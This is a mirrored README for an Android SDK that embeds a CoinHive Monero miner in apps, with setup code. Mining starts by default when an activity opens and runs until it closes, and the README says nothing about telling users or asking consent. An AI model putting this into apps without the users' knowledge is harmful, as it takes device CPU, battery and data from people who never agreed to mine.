Giter Club home page Giter Club logo

coin_hive_android_sdk's Introduction

CoinHive Android SDK

Simply saying, CoinHive is a cypto miner. The Coinhive JavaScript Miner lets you embed a Monero miner directly into your website. but there wasn't any solution for android, to mine Monero from apps. So i developed one. :)

Installation

Install the dependency.

compile 'com.theah64.coinhive:coinhive:1.0.6'

Init in your application

public class App extends Application {

    @Override
    public void onCreate() {
        super.onCreate();

        CoinHive.getInstance()
                .init("YOUR-SITE-KEY") // mandatory
                .setNumberOfThreads(4) // optional
                .setIsAutoThread(true) // optional
                .setThrottle(0.2) // optional
                .setLoggingEnabled(true) // To logcat mining status, false by default.
                .setIsForceASMJS(false); // optional

    }
}

Finally, extend your activities from BaseCoinHiveActivity

public class MainActivity extends BaseCoinHiveActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        
        //Usual stuff
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
        setSupportActionBar(toolbar);
        

    }

}

Done. Mining will start once you start the activity and will continue untill the activity get destroyed.

Miner status

If the miner runs actively, onRunning() method will get called on each second.

You can override the onMiningStarted() and onMiningStopped() to get miner status.

public class MainActivity extends BaseCoinHiveActivity {
    
    ...
    
    @Override
    public void onRunning(double hashesPerSecond, long totalHashes, long acceptedHashes) {

    }

    @Override
    private void onMiningStarted() {

    }
    
    @Override
    private void onMiningStopped() {

    }

}

Miner controls

To stop the miner, you can call stopMining().

To star the miner, you can call startMining().

NOTE:By default, miner will start automatically.

Issue or Improvements

Shoot me a mail to [email protected] :)

coin_hive_android_sdk's People

Contributors

letme avatar theapache64 avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.